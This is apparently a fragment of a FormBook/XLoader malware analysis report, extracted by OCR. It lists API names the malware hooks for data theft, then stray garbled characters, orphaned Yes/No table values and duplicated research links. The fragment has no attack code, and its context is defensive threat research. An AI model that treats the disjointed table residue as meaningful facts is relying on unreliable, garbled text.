EncryptMessage

HttpSendRequestA
HttpSendRequestW
InternetQueryOptionW

PR_Write
PR_Write
WSASend

ee

ee
.,
..,

ec

Yes

Yes

Yes
Yes

No



References:

o https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-
delivered-phishing-campaign-part-ii

o https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-
obfuscation-version-4-3

e https://www.zscaler.com/blogs/security-research/analysis-xloader-s-c2-network-
encryption

o https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-

analysis/



https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii
https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3
https://www.zscaler.com/blogs/security-research/analysis-xloader-s-c2-network-encryption
https://www.zscaler.com/blogs/security-research/analysis-xloader-s-c2-network-encryption
https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-analysis/
https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malware-analysis/

